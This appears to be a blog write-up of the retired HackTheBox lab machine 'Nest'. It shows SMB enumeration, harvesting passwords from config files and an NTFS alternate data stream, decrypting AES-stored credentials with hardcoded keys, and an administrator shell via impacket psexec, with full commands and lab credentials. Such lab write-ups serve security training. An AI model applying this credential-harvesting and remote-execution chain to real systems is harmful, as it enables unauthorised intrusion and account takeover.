HTB: Nest

Posted on 07 Jun 2020 in security • 10 min read

Nest card

This is a writeup about a retired HacktheBox machine: Nest This box is classified as an easy machine. It was publish on January the 25th by VbScrub. This box is a bit different that the other ones on HTB. Until the last step you never have a shell on the box (and none is needed to root it). All commands and enumeration are done on the SMB service. There is also a personnalized service HQK.

Getting user involve understanding a bit of cryptography (homemade combination of base64 and AES) but nothing too complexe.

Getting root required to decompile some .NET executable to get some parameter for the homemade encryption.

User

Recon

We start with an nmap scan. Only the ports 445 (SMB) and 4386 are open.

# Nmap 7.80 scan initiated Mon Jan 27 03:59:58 2020 as: nmap -p- -sS -oA nmap_p 10.10.10.178
Nmap scan report for 10.10.10.178
Host is up (0.26s latency).
Not shown: 65533 filtered ports
PORT     STATE SERVICE
445/tcp  open  microsoft-ds
4386/tcp open  unknown

# Nmap done at Mon Jan 27 04:08:04 2020 -- 1 IP address (1 host up) scanned in 485.47 seconds

HQK Reporting Service

We connect to the port 4386 using telnet. This service allow us to list the files on the system but nothing more. The DEBUG function seems interesting but we need a password for it.

#telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>

>SETDIR C:\Users\

Current directory set to Users
>LIST

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

 QUERY FILES IN CURRENT DIRECTORY

[DIR]  Administrator
[DIR]  All Users
[DIR]  Default
[DIR]  Default User
[DIR]  Public
[DIR]  Service_HQK
[DIR]  TempUser
[1]   desktop.ini

Current Directory: Users

SMB

We enumerate the shares on the SMB server using metasploit. The share Data seems interesting.

msf5 > use auxiliary/scanner/smb/smb_enumshares
msf5 auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 10.10.10.178
RHOSTS => 10.10.10.178
msf5 auxiliary(scanner/smb/smb_enumshares) > run

[+] 10.10.10.178:445      - ADMIN$ - (DISK) Remote Admin
[+] 10.10.10.178:445      - C$ - (DISK) Default share
[+] 10.10.10.178:445      - Data - (DISK)
[+] 10.10.10.178:445      - IPC$ - (IPC) Remote IPC
[+] 10.10.10.178:445      - Secure$ - (DISK)
[+] 10.10.10.178:445      - Users - (DISK)
[*] 10.10.10.178:         - Scanned 1 of 1 hosts (100% complete)

We connect to this share anonymously and start to enumerate the folder and files on the share. We quickly find a "Welcome Email" in the HR templates folder.

# smbclient //10.10.10.178/Data -U " "%" "
Try "help" to get a list of possible commands.
smb: \> cd Shared\Templates\HR
smb: \Shared\Templates\HR\> mget "Welcome Email.txt"
Get file Welcome Email.txt? y
getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)

This template email contain the username "TempUser" and its password.

# cat Welcome\ Email.txt
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>

You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>

If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.

Username: TempUser
Password: welcome2019

Thank you
HR

SBM as TempUser

We can then connect to the SMB share using our "TempUser". We found a lot of configuration files. The RU_config.xml contain what seems to be a base64 password for the c.smith user. We try to decode it using base64 -d but the result is not printable characters.

# cat RU_config.xml
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>389</Port>
  <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

Looking a bit more at the files we found the NotepadPlusPlus configuration file containing the history of the recently edited files. The \\HTB-NEST\Secure$\IT\Carl\Temp.txt seems to be interesting.

#tail config.xml
        <Find name="redeem on" />
        <Find name="192" />
        <Replace name="C_addEvent" />
    </FindHistory>
    <History nbMaxFile="15" inSubMenu="no" customLength="-1">
        <File filename="C:\windows\System32\drivers\etc\hosts" />
        <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
        <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
    </History>
</NotepadPlus>

We connect to the "Secure$" share and go to Carl's folder. The Temp.txt doesn't exist anymore but we found some visual basic code in a WIP folder.

# smbclient //10.10.10.178/Secure$ -U "TempUser"%"welcome2019
smb: \IT\Carl\VB Projects\WIP\RU\RUScanner\> dir
.                                   D        0  Wed Aug  7 18:05:54 2019
..                                  D        0  Wed Aug  7 18:05:54 2019
bin                                 D        0  Wed Aug  7 16:00:11 2019
ConfigFile.vb                       A      772  Wed Aug  7 18:05:09 2019
Module1.vb                          A      279  Wed Aug  7 18:05:44 2019
My Project                          D        0  Wed Aug  7 16:00:11 2019
obj                                 D        0  Wed Aug  7 16:00:11 2019
RU Scanner.vbproj                   A     4828  Fri Aug  9 11:37:51 2019
RU Scanner.vbproj.user              A      143  Tue Aug  6 08:55:27 2019
SsoIntegration.vb                   A      133  Wed Aug  7 18:05:58 2019
Utils.vb                            A     4888  Wed Aug  7 15:49:35 2019

We download everything on our computer. The "Module1.vb" file is a module loading a XML file "RU_config.xml" and using the Utils library to decode the password stored in the file. We already have the XML file.

Module Module1

    Sub Main()
        Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
        Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
        Console.WriteLine("Hello")


    End Sub

End Module

The "Utils.vb" file contain the decrypting methods and the passphrase, the salt value, the number of password iteration, the initialisation vector (for CBC mode) and the key size.

Imports System.Text
Imports System.Security.Cryptography
Public Class Utils

    Public Shared Function GetLogFilePath() As String
        Return IO.Path.Combine(Environment.CurrentDirectory, "Log.txt")
    End Function

    Public Shared Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function EncryptString(PlainString As String) As String
        If String.IsNullOrEmpty(PlainString) Then
            Return String.Empty
        Else
            Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Shared Function Encrypt(ByVal plainText As String, _
                                  ByVal passPhrase As String, _
                                  ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                  ByVal initVector As String, _
                                  ByVal keySize As Integer) _
                          As String

        Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
        Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
        Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                          saltValueBytes, _
                                          passwordIterations)
        Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC
        Dim encryptor As ICryptoTransform = symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
        Using memoryStream As New IO.MemoryStream()
            Using cryptoStream As New CryptoStream(memoryStream, _
                                            encryptor, _
                                            CryptoStreamMode.Write)
                cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
                cryptoStream.FlushFinalBlock()
                Dim cipherTextBytes As Byte() = memoryStream.ToArray()
                memoryStream.Close()
                cryptoStream.Close()
                Return Convert.ToBase64String(cipherTextBytes)
            End Using
        End Using
    End Function

    Public Shared Function Decrypt(ByVal cipherText As String, _
                                  ByVal passPhrase As String, _
                                  ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                  ByVal initVector As String, _
                                  ByVal keySize As Integer) _
                          As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                          saltValueBytes, _
                                          passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                              0, _
                                              plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function
End Class

We fire up a Windows Box, install Microsoft Visual Basic 2010 Express and create a new "Application Console project" with a simple module to decode the c.smith password we got in the XML file.

creating a Application Console project

The code is the following. As the console is disappearing just after the run I put a second print and run the program in debug mode.

Imports System.Text
Imports System.Security.Cryptography

Module Module1

    Sub Main()
        Console.WriteLine(Decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256))
        Console.WriteLine("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=")
    End Sub

    Public Function Decrypt(ByVal cipherText As String, _
                              ByVal passPhrase As String, _
                              ByVal saltValue As String, _
                                ByVal passwordIterations As Integer, _
                              ByVal initVector As String, _
                              ByVal keySize As Integer) _
                      As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                          saltValueBytes, _
                                          passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                              0, _
                                              plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function

End Module

Running in debug mode

We get the c.smith password: xRxRxPANCAK3SxRxRx. We can now connect to the "Users" share using c.smith account. We got the user.txt file.

# smbclient //10.10.10.178/Users -U "c.smith"%"xRxRxPANCAK3SxRxRx"
Try "help" to get a list of possible commands.
smb: \> cd C.Smith\
smb: \C.Smith\> mget user.txt
Get file user.txt? y
getting file \C.Smith\user.txt of size 32 as user.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

Getting root

We enumerate more and found some configuration about the HQK service (the one on port 4386). There is also a file "Debug Mode Password.txt". The file can be copied on disk but is empty.

smb: \C.Smith\> cd "HQK Reporting\"
smb: \C.Smith\HQK Reporting\> dir
  .                                   D        0  Thu Aug  8 19:06:17 2019
  ..                                  D        0  Thu Aug  8 19:06:17 2019
  AD Integration Module               D        0  Fri Aug  9 08:18:42 2019
  Debug Mode Password.txt             A        0  Thu Aug  8 19:08:17 2019
  HQK_Config_Backup.xml               A      249  Thu Aug  8 19:09:05 2019

            10485247 blocks of size 4096. 6449598 blocks available

Alternate data streams

The file seems to be empty because its author used the NTFS alternate data streams.

It is possible to get the information about the alternate data steams for a file using smbclient.

We require the informations about the file in C.Smith folder and we download the file using the alternate data stream.

root@kalili:~# smbclient //10.10.10.178/Users -U "c.smith"%"xRxRxPANCAK3SxRxRx" -c 'allinfo "C.Smith\HQK Reporting\Debug Mode Password.txt"'
altname: DEBUGM~1.TXT
create_time:    Thu Aug  8 07:06:12 PM 2019 EDT
access_time:    Thu Aug  8 07:06:12 PM 2019 EDT
write_time:     Thu Aug  8 07:08:17 PM 2019 EDT
change_time:    Thu Aug  8 07:08:17 PM 2019 EDT
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
root@kalili:~# smbclient //10.10.10.178/Users -U "c.smith"%"xRxRxPANCAK3SxRxRx" -c 'get "C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA"
> '
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA of size 15 as C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)

The file is not empty anymore and contain the password for the DEBUG mode of the HQK service.

root@kalili:~# cat C.Smith\\HQK\ Reporting\\Debug\ Mode\ Password.txt\:Password\:\$DATA
WBQ201953D8w

HqkLdap.exe

We enumerate the folder more and we found a HqkLdap.exe binary. We download it on our system.

smb: \C.Smith\HQK Reporting\> cd "AD Integration Module
smb: \C.Smith\HQK Reporting\AD Integration Module\> dir
  .                                   D        0  Fri Aug  9 08:18:42 2019
  ..                                  D        0  Fri Aug  9 08:18:42 2019
  HqkLdap.exe                         A    17408  Wed Aug  7 19:41:16 2019

                10485247 blocks of size 4096. 6449664 blocks available
smb: \C.Smith\HQK Reporting\AD Integration Module\> mget HqkLdap.exe
Get file HqkLdap.exe? y
getting file \C.Smith\HQK Reporting\AD Integration Module\HqkLdap.exe of size 17408 as HqkLdap.exe (9.9 KiloBytes/sec) (average 9.9 KiloBytes/sec)

DEBUG HQK Reporting Service

We connect to the service and start the debug mode.

root@kalili:~# telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.

HQK Reporting Service V1.2

>DEBUG WBQ201953D8w

Debug mode enabled. Use the HELP command to view additional commands that are now available

We list the command to see what's new. The new commands are: * SERVICE * SESSION * SHOWQUERY

We run them, session and service just show use informations about our session and the service.

>help

This service allows users to run queries against databases using the legacy HQK format

--- AVAILABLE COMMANDS ---

LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>

>session

--- Session Information ---

Session ID: cb4c294e-1f27-4e1c-90e8-86d22367701e
Debug: True
Started At: 1/27/2020 4:33:48 PM
Server Endpoint: 10.10.10.178:4386
Client Endpoint: 10.10.14.30:36462
Current Query Directory: C:\Program Files\HQK\ALL QUERIES

>service

--- HQK REPORTING SERVER INFO ---

Version: 1.2.0.0
Server Hostname: HTB-NEST
Server Process: "C:\Program Files\HQK\HqkSvc.exe"
Server Running As: Service_HQK
Initial Query Directory: C:\Program Files\HQK\ALL QUERIES

We go to the C:\Program Files\HQK\ directory.

>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

QUERY FILES IN CURRENT DIRECTORY

[DIR]  ALL QUERIES
[DIR]  LDAP
[DIR]  Logs
[1]   HqkSvc.exe
[2]   HqkSvc.InstallState
[3]   HQK_Config.xml

The Showquery function allow use to read the files in the current directory. The file HQK_Config.xml contain our debugging password and the port of the service.

>showquery 3

<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <Port>4386</Port>
  <DebugPassword>WBQ201953D8w</DebugPassword>
  <QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>

We go to the LDAP directory. We found the exe we already got and a configuration file. This file contain the Administrator encoded password.

>setdir ldap

Current directory set to ldap
>list

Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command

QUERY FILES IN CURRENT DIRECTORY

[1]   HqkLdap.exe
[2]   Ldap.conf

Current Directory: ldap
>showquery 2

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

"Reversing" HqkLdap.exe

We download the latest release of dnSpy and load the binary. We quickly find some encryption and decryption functions. They are similar to the ones in the Utils.vb but use different parameters (passphrase, salt, number of password iteration, initialisation vector and key size).

dnSpy

We change the values in our previous module in MS Visual Basic 2010 Express and rerun the code. The only changed line is the following:

Console.WriteLine(Decrypt("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=", "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256))

This give us the administrator password: XtH4nkS4Pl4y1nGX.

We connect to the "C$" share as administrator and are able to get the root flag.

# smbclient //10.10.10.178/C$ -U "Administrator"%"XtH4nkS4Pl4y1nGX"
Try "help" to get a list of possible commads.
smb: \> cd Users\Administrator\
smb: \Users\Administrator\> cd Desktop\
smb: \Users\Administrator\Desktop\> ls
  .                                  DR        0  Sun Jan 26 02:20:50 2020
  ..                                 DR        0  Sun Jan 26 02:20:50 2020
  desktop.ini                       AHS      282  Sat Jan 25 17:02:44 2020
  root.txt                            A       32  Mon Aug  5 18:27:26 2019

                10485247 blocks of size 4096. 6449582 blocks available
smb: \Users\Administrator\Desktop\> mget root.txt
Get file root.txt? y
getting file \Users\Administrator\Desktop\root.txt of size 32 as root.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)n

We can also use psexec to directly execute commands on the system as administrator.

python psexec.py administrator:XtH4nkS4Pl4y1nGX@10.10.10.178
Impacket v0.9.21-dev - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file xHADOhNA.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service OtZQ on 10.10.10.178.....
[*] Starting service OtZQ.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>cd ../..

C:\>cd Users\Administrator\Desktop

C:\Users\Administrator\Desktop>type root.txt
6594c2eb084bc0f08a42f0b94b878c41

Wrapping up

This box was interesting but a bit ctfish. I learn a few things about NTFS alternate data stream and how to get them from a GNU/Linux box.